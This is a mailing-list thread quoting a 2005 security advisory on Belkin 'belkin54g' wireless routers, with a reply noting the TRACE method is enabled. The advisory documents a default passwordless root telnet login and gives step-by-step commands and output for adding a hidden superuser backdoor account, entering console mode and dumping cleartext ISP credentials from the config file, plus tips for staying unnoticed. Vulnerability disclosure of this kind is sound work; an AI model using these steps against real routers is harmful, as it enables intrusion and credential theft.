>> iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtV wqHW0AoMIK
>> Yknf7sFxGJw7hbIK1oX642EB
>> =5Mdx
>> -----END PGP SIGNATURE-----
>>
>>
>>
>>
>

E. Kellinis
29/07/05, 00:35
just noticed that the TRACE http method is enabled in the router's
webserver as well



m123303@securityfocus.com wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Advisory name:
>several vulnerabilities present in Belkin wireless routers
>
>Overall severity rating:
>HIGH risk
>
>Devices affected:
>"belkin54g" family of wireless routers
>
>4 main vulnerabilities are included in this advisory:
>- - default telnet backdoor
>- - password-less administrative account
>- - verbose messages in telnet sessions reveal filesystem structure and
>possible "interesting" files
>- - cleartext sensitive information stored in config file (config.icf)
>
>Date:
>July 15, 2005
>
>Author:
>pagvac (Adrian Pastor)
>
>Description:
>I've been able to identify several important vulnerabilities in
>different Belkin wireless routers. These vulnerabilities have been
>tested and verified in at least three different Belkin wireless
>router models which are very similar, not only in the way they look
>but also in their functionalities.
>
>These Belkin wireless routers are quite popular among home users
>probably due to their affordable price and easiness of use. This
>means that the following vulnerabilities and exploits should be
>present in a big number of devices available out there which should
>be very easy to find for wardrivers.
>
>Note: these routers use a default SSID of "belkin54g".
>
>- From here, I'd like to encourage other computer security enthusiasts
>to test what I found in their Belkin wireless routers and also let
>everyone know that positive and negative comments about the content
>of this advisory are welcome.
>
>The first problem is the existance of a default telnet backdoor
>running on the usual 23/tcp port. From my experience, telnet
>interfaces are NOT enabled by default in wireless routers but rather,
>they usually need to be enabled from their administrative web
>interfaces manually:
>
>
><Start of output>
>
>Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
>18:34 BST
>Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
>[1663 ports] at 18:34
>Discovered open port 53/tcp on 192.168.2.1
>Discovered open port 80/tcp on 192.168.2.1
>Discovered open port 23/tcp on 192.168.2.1
>The SYN Stealth Scan took 1.93s to scan 1663 total ports.
>Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
>ports] at 18:34
>The UDP Scan took 1.92s to scan 1478 total ports.
>Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
>Interesting ports on BelkinModem.Belkin (192.168.2.1):
>(The 3133 ports scanned but not shown below are in state: closed)
>PORT STATE SERVICE
>23/tcp open telnet
>53/tcp open domain
>53/udp open|filtered domain
>67/udp open|filtered dhcpserver
>80/tcp open http
>123/udp open|filtered ntp
>520/udp open|filtered route
>1900/udp open|filtered UPnP
>MAC Address: 00:11:50:XX:XX:XX (Belkin)
>
></End of output>
>
>
>This device is usually configured with a default IP address of
>192.168.2.1. The interesting thing about the telnet interface in this
>case is that it provides users with many powerful commands that are
>NOT accessible through the administrative web interface. Again, let
>me remind you that the telnet service is running straight out of the
>box so no user intervention is needed.
>
>The telnet service, just like the web interface, can be accessed by
>default with root privileges using a "null" password. When I say
>"null" I mean empty, in other words: no password. The difference is
>that the web interface sends the username to the system so only the
>password is required from the user. In this case, all the user needs
>to do is click on the "Submit" button after accessing
>http://192.168.2.1 without entering any password AT ALL. In the case
>of the telnet service, the authentication is different in the sense
>that the system prompts the user for BOTH, username and password. The
>right combination is admin/"null", where "null" is an empty password
>(just press <enter> when prompted for password):
>
><Start of output>
>
># telnet 192.168.2.1
>
>Trying 192.168.2.1...
>Connected to 192.168.2.1.
>Escape character is '^]'.
>
> ,vvvdP9P???^ ,,,
> vvd###P^`^ vvvvv v
> vv#####?^ ????####vv,
> vv####?? ,vvvdP???^ ,,, ??##^
> v#####? ,vvd##P?^ #?#v#vvv
> v#####? v###P^ ,vvv, '?#?,
> ######? ####?^ ,vd#P?^ `???##
> #####? v#### ,d##P^ ''
> ###### v#### ]###L _ _ _
> ___
> #####? v#### ]##L / / \ |\ | |_ \/ /\
>|\ | |
> ###### #### ]###L \_ \_/ | \| |_ /\ /--\
>| \| |
> ?#####v ####v ]##h, ,,
> ?##### ?###h, `9#hv, ,vv###
> ###### #####L ]###L ,v#v'
> ?#####vv ?9##hv, ,,vvvv###'
> ?#####vv `??9P\vv, ^ vv##,
> ###### #######L
> ??###hvv, ,vvv#?##?????
> `????9hdhvv,
>
>Login: admin
><enter>
></End of output>
>
>
>As it can be seen, the OS firmware is developed by Conexant, although
>the routers themselves are from Belkin. After researching on both
>Belkin and Conexant websites I found nothing about the OS running in
>these devices and ways to configure them through telnet. However, the
>console mode shows many tools that are available in GNU/Linux
>systems, indicating that this is the type of system running behind
>the scenes.
>
>After logging in, the user is immediately granted root privileges on
>the system. There are many interesting things an attacker can do at
>this point. Most of the interesting functions are under the "system"
>commands menu. In order to see all the available commands enter "?".
>
>
><Start of output>
>
>- --> ?
>802.1x 802.1x port based authentication
>agent Get a file from a remote host
>autoprov
>bridge Configure layer 2 bridge
>console Console access
>dhcpclient DHCP client configuration commands
>dhcpserver DHCP server configuration commands
>diagnosticTest
>dnsclient DNS client configuration commands
>dnsrelay DNS relay configuration
>ethernet Commands to configure ethernet transports
>firewall Firewall configuration commands
>help Top level CLI help
>igmp
>imdebug Directly access the information model
>ip Configure IP router
>logger Log to a remote host using syslog
>nat NAT configuration commands
>port Physical port configuration commands
>pppoa PPP over ATM configuration
>pppoe
>radclient RADIUS Client Configuration commands
>rfc1483 Commands to configure RFC1483 transports
>security Security configuration commands not specific to NAT
>or firewall
>sntpclient Simple Network Time Protocol Client commands
>source Read a file of commands
>system System administration commands
>transports Transport configuration commands
>upnp UPnP configuration commands
>user User commands
>webserver Webserver configuration commands
>wpa Configure WPA (Wireless Protected Access)
>- -->
>
></End of output>
>
>
>To see the available flags/options for a certain command, enter the
>name of the command followed by "?" again and so on:
>
>
><Start of output>
>
>- --> system ?
>add Add a user to the system
>auto-update Update device firmware automatically from a remote
>server
>config Configuration file maintenance
>cpuload Show current CPU loading
>delete Remove system users
>info Display hardware/software information
>legal
>list List system information
>log Set logging options
>restart Restart system (same as pressing reset)
>set Set user privileges
>
></End of output>
>
>
>The first exploit an attacker could perform is to add a backdoor
>account with administrative privileges:
>
>
><Start of output>
>
>- --> system list logins
>
>Users:
> May May conf. May Access
> ID | Name | Conf. | web | Dialin | Level |
>Comment
>- -----|------------|----------|----------|----------|------------|-----
>- --------
> 1 | admin | ENABLED | ENABLED | disabled | superuser |
>Admin user
>- ----------------------------------------------------------------------
>- ---------
>
>- --> system set user guest access superuser
>
>
>- --> system list logins
>
>Users:
> May May conf. May Access
> ID | Name | Conf. | web | Dialin | Level |
>Comment
>- -----|------------|----------|----------|----------|------------|-----
>- --------
> 1 | admin | ENABLED | ENABLED | disabled | superuser |
>Admin user
> 2 | guest | ENABLED | ENABLED | disabled | superuser |
>Created by CLI
>- ----------------------------------------------------------------------
>- ---------
>
>
>- --> system set login guest maydialin enabled
>
>
>- --> system list logins
>
>Users:
> May May conf. May Access
> ID | Name | Conf. | web | Dialin | Level |
>Comment
>- -----|------------|----------|----------|----------|------------|-----
>- --------
> 1 | admin | ENABLED | ENABLED | disabled | superuser |
>Admin user
> 2 | guest | ENABLED | ENABLED | ENABLED | superuser |
>Created by CLI
>- ----------------------------------------------------------------------
>- ---------
>
><End of output>
>
>
>In this case the attacker first lists the avaialable accounts on the
>system and then creates an acccount called "guest" assigning
>superuser privileges to it. After that, the attacker also gives
>dialin permissions to this new backdoor account. In reality, if an
>attacker doesn't want to be loud, he/she would probably use an
>account name that doesn't attract the attention from the owner of the
>router. Such account could be called something like "test", "guest",
>"manager", "default", "root", or "administrator". In this case the
>attacker chose "guest".
>
>I'd like to say that I don't exactly know what the system means by
>"May Dialin". I simply confirmed during my tests that an attacker can
>indeed assign "dialin" privileges to a newly created superuser
>account and use it to connect to the router through the telnet
>interface with root privileges.
>
>I suspect that the "dialin" permissions are related to either one of
>the following:
>
>- - permissions to allow a given account to connect to the router
>- - a dialin interface which can be used by the administrator to dial
>the router from the PSTN (telephone network) provided that the router
>is connected to a telephone line.
>
>If anyone has played with this option in Belkin routers, please send
>me your comments. Due to the lack of documentation available about
>the telnet interface of these routers, I could not find further
>information on "dialin" permissions.
>
>After adding the backdoor account the attacker can log into the
>router through telnet using this new account. After that, the
>attacker can add a password with the "user password" command:
>
>
><Start of output>
>
>- --> user password
>Enter new password: ********
> Again to verify: ********
>
></End of output>
>
>
>The second interesting thing that an attacker could do is to browse
>the filesystem and dump the config file on the screen. The default
>name of the config file of these routers is "config.icf". This file
>can be obtained in two ways:
>
>- - from the web interface (http://192.168.2.1) by clicking on "Save
>configuration"
>- - through the telnet interface by browsing the filesystem in the
>"console enable" mode
>
>After accessing the "console enable" mode the user is provided with a
>bunch of powerful commands, including popular Linux/GNU tools such as
>"cat". This is how to access the console mode (notice how "?" is used
>to list available options for the "console" command):
>
>
><Start of output>
>
>- --> console ?
>enable Enter console mode
>process Execute console command
>
>
>- --> console enable
>Switching from CLI to console mode - type 'exit' to return
>
>Quantum>
>
>
></End of output>
>
>
>
>The way I found where the config file was located was NOT by browsing
>the filesystem manually with "cd" and "ls" commands, but rather by
>exploiting an interesting behavior of these routers. Basically, when
>you save configuration files from the web interface, make invalid
>http requests, or save system settings (from the web interface as
>well), the system will dump messages on the telnet interface. For
>instance, if you connect to the telnet service and save the
>configuration settings from the web interface, the following message
>will be dumped on the telnet session:
>
><Start of output>
>
>Saving to backup configuration //isfs/im.conf.backup
>
></End of output>
>
>
>The following error was dumped after playing with invalid requests:
>
>
><Start of output>
>
>Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
>not found or wrong type
>
></End of output>
>
>
>I suggest playing with the web interface while having the telnet
>session open to find interesting files and directories as an
>alternative to manually browsing the filesystem. Also, it might be
>fun to try MITM proxy attacks against the router's web interface with
>tools such as Achilles or Paros. This would allow us to modify the
>inputs included in the POST requests which would normally be
>restricted by the client-side forms. Doing this should hopefully dump
>some interesting errors on the telnet session.
>
>The following are some of the directories present in the filesystem:
>
>/isfs/
>/shared/
>/webconfig/images/
>/webconfig/styles/
>/webconfig/styles/
>/webconfig/update/
>
>
>
>Many tools are available in the "console enable" mode. In this case,
>I used "cat" to dump sensitive information found in the config file.
>Remember that a backup of the configuration file can be obtained from
>/isfs/im.conf.backup.
>
>Interesting things which I found in these file are the following:
>- - hostnames and IP addresses from the DNS table (these are computers
>that are connected in the present and have been connected in the
>past to the router)
>- - ISP account configuration including username and password (yes,
>this is all in cleartext as well!)
>
>The following output is an example of DNS entries extracted from the
>config file. Note that the original MAC addresses, hostnames,
>username and password have been modified for privacy reasons:
>
><Start of output>
>
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName1i pv4
> A hostName computerName1
> A ipaddr 192.168.2.21
> A macAddress XX:XX:XX:XX:XX:XX
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName2i pv4
> A hostName computerName2
> A ipaddr 192.168.2.6
> A macAddress XX:XX:XX:XX:XX:XX
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName3i pv4
> A hostName computerName3
> A ipaddr 192.168.2.4
> A macAddress XX:XX:XX:XX:XX:XX
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName4i pv4
> A hostName computerName4
> A ipaddr 192.168.2.7
> A macAddress XX:XX:XX:XX:XX:XX
>
></End of output>
>
>
>The following are some of the settings related to the ISP account
>configuration including sensitive information such as username and
>password in the clear:
>
>
><Start of output>
>
>A weLoginName myname.mysurname@adsl.ispdomain.com
>A weLoginPassword this-is-my-password-in-the-clear
>A weLoginAuth chap
>
></End of output>
>
>
>I'd like to stress that the consequences of storing the username,
>password and authentication protocol in the clear can be exploited in
>very malicious ways. For instance, the first thing that an attacker
>can exploit is the fact that ISPs usually give users some web
>services after they get their DSL connections set up. I'm talking
>about things such as webmail and account management services. By
>default, these services use the same password as the one used on the
>ISP account (which can be obtained from the config file). In other
>cases, these passwords also remain the same because it's just easier
>for users to have the same password for all their ISP-related
>accounts.
>
>Also, let's remember that the same password could also be used by the
>user in other services such as messengers, ftp servers and so on.
>This type of information could be easily obtained by an attacker
>sniffing the network either with a wireless sniffer such as Airopeek
>NX or by performing a MITM attack through ARP poisoning with a tool
>like Cain.
>
>I'm sure that if other people play more with these routers they can
>find other vulnerabilities, exploits and interesting functions.
>Personally, I was surprised by the power that these Belkin routers
>give you once they're accessed through the telnet interface.
>
>Because most of these "belkin54" family of routers give you root
>privileges by default through the telnet interface, it is really up
>to the attacker on what to exploit. It's just a matter of imagination
>and curiosity. Some ideas could include redirecting users to the
>router's web server whose files could be previously replaced by
>scripts that would exploit the latest vulnerabilities present in the
>most popular web browsers.
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
>
>iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtV wqHW0AoMIK
>Yknf7sFxGJw7hbIK1oX642EB
>=5Mdx
>-----END PGP SIGNATURE-----
>
>
>
>